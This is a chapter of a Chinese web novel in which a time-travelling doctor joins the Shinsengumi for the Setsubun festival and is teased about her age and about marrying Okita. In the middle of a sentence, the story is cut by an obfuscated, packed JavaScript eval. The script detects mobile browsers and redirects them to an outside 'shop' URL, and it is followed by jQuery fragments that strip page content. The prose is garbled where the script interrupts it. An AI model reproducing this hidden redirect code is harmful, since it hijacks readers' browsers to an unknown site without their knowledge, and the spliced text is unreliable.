24.第二十四章
作品:《幕末行医记:病人是冲田总司》 接下来的几天,福泽的房门前变得格外热闹。
藤堂和永仓送来了他们笨手笨脚熬制的形状有些奇怪,但味道甜滋滋的大根饴,原田则端来了鲜香暖胃的蚬贝味增汤,说是这些东西对恢复精神好,能够帮助她早日康复。
他们隔着门,有些不好意思地说道:“福泽医生,平时无论大小病,都是你在照顾我们。现在你病了,也该轮到我们照顾你了。”
原来,他们都偷偷跑去相熟的汉方医生那里,打听做什么吃的能帮助止咳化痰、治疗风寒。
听着门外队长们笨拙却真诚的关怀,福泽靠在窗边,望着庭院里未化的积雪,心中不免觉得感动。
这让她真切地感受到自己还在这个时代生活着,虽然她原本不属于这里,大家却早已把她当做家人关照。
他们也不再是那史书上冷漠记载的几行简单文字,而是活生生有着喜怒哀乐的一群人啊。
节分日转眼即至,为了节省本来就很宝贵的现代药物,也为了避免自己产生耐药性免疫力又下降,福泽硬是靠着自己提炼的水杨苷粗结晶和身体的抵抗力,拖拉将近半月,感冒才将将痊愈。
偶尔还有些许咳嗽,但已无大碍,她便依约与新选组的众人在节分日当天一同前往附近的寺庙里,参与撒豆驱鬼的活动。
寺庙前此时已经人声鼎沸,男女老少皆手持豆子,准备将一年的厄运驱逐出去。
常与冲田玩耍的那群孩子们眼尖,看到福泽等人,立刻像一群欢快的小麻雀般飞快围了过来。
“福泽医生,好久没见到你啦!”一个扎着小辫的小女孩仰着头向她询问道,“宗次郎哥哥说你生病了,现在感觉好点了吗?”
宗次郎是冲田以前的名字,那些孩子们似乎都喜欢用这个名字来称呼他。
福泽闻言心中一暖,她蹲下身,平视着孩子们,微笑着摸了摸她的头说道:“谢谢你们关心,我已经好多啦。”
另一个虎头虎脑的男孩抢着回答道:“一定是有不好的邪气缠着医生!没关系,今天我们大家一起撒豆子,把鬼都赶走,福气就会进来啦!”
那孩子福泽看着眼熟,是原先她喂过驱虫药的那个男孩,驱过虫后他现在看起来很有精神。
孩子们说完之后,便已经欢呼着跑向了发放豆子的地方。
福泽一行人也都去领了豆子,随后众人齐声一起高喊道:“鬼出去——!福进来——!”
同时,将手中的炒豆奋力撒向空中和四周,仿佛要将一切晦气与病痛都随之抛却。
豆子如同金色的雨点般噼啪落下,场面一时热闹非凡。
撒豆结束后,按照习俗,要捡拾与自己年龄数目相同的豆子吃掉,以祈求健康,福泽和冲田等人也低头在铺满豆子的地上仔细寻找。
冲田的动作利落,很快就数出了二十三颗豆子,放在掌心。
福泽也蹲下身捡拾着,最终数了二十九颗豆子握在手中。
一旁的藤堂眼尖,瞥见福泽手中的豆子数起来,随后像发现了什么新大陆似的,惊讶地大叫起来,“呜哇!不会吧?!福泽医生,你、你竟然已经二十九岁了吗?那岂不是和近藤先生、土方先生他们年纪都差不多了……”
他话还没说完,原田就一脸无奈地伸出大手,一把捂住了他的嘴,低声呵斥道:“喂,平助,你也太失礼了!怎么能随便议论别人的年龄?”
永仓也凑过来,摸着下巴,上下打量着福泽,脸上满是难以置信,“但是真的完全看不出来啊,我还以为医生比我们大不了几岁呢!”
连一向稳重的近藤也露出些许意外的神色,温和地笑道:“啊哈哈,确实,我也一直以为福泽医生和总司他们年纪相仿呢。”
福泽被他们说得不好意思,脸颊微红,低声回答道:“大家过奖了,我只是……也许看起来不显年纪而已?”
她心里却暗自嘀咕,来自一百六十多年之后的她被一群历史名人夸年轻,这感觉实在有些奇妙。
毕竟现实意义上,他们才算是“前辈”?
冲田将手中的豆子一颗颗丢进嘴里嚼着,闻言不以为意地瞥了福泽一眼,语气带着惯有的调侃,“年龄什么的有什么关系呢?不过,医生明明比我们年长,却总称呼我们为先生,还要用敬语,这可真是太奇怪了。”
他咽下豆子,看着福泽说道:“以后,就直接叫我总司吧。”
藤堂立刻跟着起哄,“就是就是!医生加入新选组都半年多了,早就不算生分人,以后叫我们的名字就行了!”
福泽看着他们真诚而期待的目光,无奈地笑了笑,只好应承下来,“好……好吧,总司,还有平助、左之、新八。”
这时,一直保持沉默看着的土方忽然冷不丁的开口,语气带着些许感慨,“时间过得真快,当初在试卫馆的时候,总司还是个调皮的臭小子,如今一眨眼都已经二十三岁了。”
他转头看向近藤,“近藤先生,我觉得总司也到了该考虑谈婚论嫁的年纪了。”
近藤深以为然地点点头,看着冲田的眼神充满了长辈的慈爱,“是啊是啊,总司来试卫馆的时候才九岁,就像看着自己的孩子长大一样。离开江户的时候,我答应过光和金要照顾好他,现在想想确实该考虑这件事了。”
他话锋一转,看向土方,带着点无奈的笑意,“不过阿岁,你也别光说总司,你自己的终身大事,同样让我很操心啊!”
土方立刻板起脸,有些不自在地别过头说道:“喂喂,怎么又说到我了?不是所有人都能像近藤先生你这样,年纪轻轻就娶到美丽贤惠的夫人,还早早当了父亲。再说了,我志不在此,新选组的事务尚且繁忙,怎么能轻易为无所谓的儿女情长所牵绊?”
福泽在一旁听着,内心忍不住暗暗吐槽:志不在此?只是不想被婚姻束缚而已吧?完全不影响您去祇园找游女们喝酒玩乐、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818391|190697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处处留情啊……
谁知,近藤又将温和的目光投向了福泽,“说起来,福泽医生,不知道你有没有成家啊?如果尚无婚约,也无心仪之人,我倒是很愿意为你牵线做媒,我在京都也认识不少人家的青年才俊……”
“咳!咳咳咳——!”
福泽被这突如其来的“长辈催婚关心”惊得岔了气,原本就没完全好的咳嗽瞬间被引发,顿时咳得满脸通红,弯下腰去。
她正咳得难受,忽然感到肩头一沉,一件还带着体温的羽织外套披在了她的肩上。
冲田不知何时已站在她身边,一边动作轻柔地帮她拉紧外套,一边用带着责备却又难掩关切的眼神看着她,“出门的时候就和医生说了,穿得太少。原本风寒就没有痊愈,现在知道难受了吧?”
他的动作极其自然,语气熟稔,像是早已这样做过无数次。
一直含笑旁观的山南,此刻推了推眼镜,脸上露出一种如同老父亲般欣慰又带着点促狭的笑容,慢悠悠地开口说道:“哎呀哎呀,这不是正好吗?既然年龄也没差多少,又都未曾成家。依我看,总司和福泽医生就挺般配的,何尝不算是喜上加喜呢?。”
福泽好不容易止住咳嗽,听到山南这话,脸更黑了,又急又窘,几乎要跳起来,“山南先生,请您不要这样说……”
山南却故作无辜地眨了眨眼回答道:“我说的不对吗?平日里,福泽医生对总司的身体可谓是尽心尽力,关怀备至。而总司呢,虽然嘴上不说,但对医生的照顾,大家也是有目共睹吧。任旁人看来,你们二位相处的样子,已经颇像是一对恩爱的夫妻了吧?”
近藤闻言,居然真的摸着下巴,露出了认真思考的表情,然后点了点头,“这么一说,还真是?”
冲田的脸上依旧挂着那副略显散漫的笑容,他看了一眼急得脸红的福泽,语气轻松地回应道:“山南先生,你就别拿我们开玩笑了。我目前对结婚成家什么的,可完全没有想法。”
他的目光转向福泽,“而且,我想福泽医生……她应该也有自己的打算和考量吧。”
福泽原本急于辩解的心情,在听到冲田这句带着明确距离感的否认后,竟像是被当头浇了盆冷水。
一股莫名的刺痛感,毫无预兆地从心底蔓延开来。
明明她也羞于被大家调笑,可为什么在听到他这番话后竟会觉得有点失落和说不出的难过呢?
福泽张了张嘴,最终却只是沉默地低下头,拉紧了肩上那件还残留着体温的羽织,将半张脸埋了进去,仿佛这样就能掩饰住她那一刻突如其来的失落和难堪。
热闹的节分氛围依旧,但她却感觉周遭的声音瞬间远去了许多,她和冲田的距离也像是一下子变远了不少。
自那日回去时候,她又时常陷入了胡思乱想,明明一开始她就清楚自己和他们来自不同的时代,可她似乎开始越来越在乎他们,尤其是在乎冲田的想法了。

